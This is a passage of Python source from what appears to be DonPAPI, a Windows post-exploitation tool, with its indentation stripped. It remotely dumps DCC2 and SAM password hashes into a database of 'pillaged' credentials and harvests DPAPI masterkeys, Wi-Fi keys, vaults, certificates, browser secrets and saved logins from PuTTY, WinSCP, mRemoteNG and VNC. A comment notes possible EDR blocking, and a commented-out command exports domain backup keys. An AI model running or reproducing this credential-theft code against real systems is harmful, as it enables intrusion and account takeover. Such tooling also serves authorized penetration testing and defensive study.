##Add DCC2
tmp_filedest = filedest + '.cached'
f = open(tmp_filedest, 'rb')
secrets = f.read().split(b'\n')
f.close()
for index, secret in enumerate(secrets):
if b':' in secret and b'#' in secret:
if secret.count(b':') == 1:
username, password = secret.split(b':')
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='DCC2',
credz_username=username.decode('utf-8'),
credz_password=password.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
else:
self.logging.debug("Secret %i - %s" % (index, secret))
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
self.logging.debug(ex)
try:
# Add SAM
self.logging.info(f"[{self.options.target_ip}]{bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
SAMFileName = self.__remoteOps.saveSAM()
SAMFileName._RemoteFile__fileName = ntpath.join("Windows",SAMFileName._RemoteFile__fileName)
self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
self.__SAMHashes.dump()
filedest_sam = os.path.join(filedest, 'SAM')
self.__SAMHashes.export(filedest_sam)
self.__SAMHashes.finish()
# Adding SAM hash to credz
tmp_filedest = filedest_sam + '.sam'
f = open(tmp_filedest, 'rb')
sam_data = f.read().split(b'\n')
f.close()
for sam_line in sam_data:
if b':' in sam_line:
if sam_line.count(b':') == 6:
username, sid, lm, ntlm, _, _, _ = sam_line.split(b':')
# On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
'''
if username.decode('utf-8') not in self.options.credz:
self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
else:
if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
'''
############PROCESSING DATA
self.db.add_credz(credz_type='SAM',
credz_username=username.decode('utf-8'),
credz_password=ntlm.decode('utf-8'),
credz_target='',
credz_path=tmp_filedest,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username='MACHINE$')
self.logging.info(
f"[{self.options.target_ip}] [+]{bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
# logging.getLogger().setLevel(logging.DEBUG)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Except remoteOps SAM")
self.logging.debug(ex)
self.__remoteOps.finish()
return 1
def GetRecentFiles(self):
myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
self.users)
myRecentFiles.run()
def GetMRemoteNG(self):
from donpapi.software.manager.mRemoteNG import mRemoteNG
myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
self.users)
myMRemoteNG.run()
def GetPutty(self):
from donpapi.software.sysadmin.putty import Putty
myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
myPutty.run()
def GetWinscp(self):
from donpapi.software.sysadmin.winscp import Winscp
myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
myWinscp.run()
def GetNew_Module(self):
myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
self.users)
myNewModule.run()
def GetCertificates(self):
certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options,
self.db, self.users, self.user_key, self.machine_key)
certificates_triage.run()
def do_test(self):
try:
if self.admin_privs and True:
# self.do_info()
self.do_who()
self.get_users()
#
if self.options.no_remoteops == False:
try:
self.test_remoteOps()
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
self.logging.debug(f"exception was : {ex}")
# self.
if self.options.no_dpapi == False:
self.get_masterkeys()
self.Get_DPAPI_Protected_Files()
self.GetWifi()
self.GetVaults()
self.GetCertificates()
if self.options.no_browser == False:
self.GetChromeSecrets()
self.GetEdgeSecrets()
self.GetMozillaSecrets_wrapper()
if self.options.no_sysadmins == False:
self.GetMRemoteNG()
self.GetPutty()
self.GetWinscp()
if self.options.no_vnc == False:
self.GetVNC()
if self.options.no_recent == False:
self.GetRecentFiles()
"""
***Dev your new module code and start it from here
if self.options.no_new_module == False:
self.GetNew_Module()
"""
# self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
# for user in self.users:
# user.resume_user_info()
# user.resume_secrets()
# else:
# NOT ADMIN
self.close_smb()
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Not connected")
self.logging.debug(f"exception was : {ex}")
def get_secrets(self):
all_secrets = {}
for user in self.users:
all_secrets[user] = user.get_secrets()
# DPAPI unprotect
# DPAPI decryptMasterkey
# DPAPI GetDomainBackupMasterKey
# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export
# to get Dropbox decrypted databases?
# to get iCloud authentication tokens?
# to decrypt EFS files
# ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf'
# Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf
# optimisation :
# le user est il du domain ou local ?
# dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ?
# DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)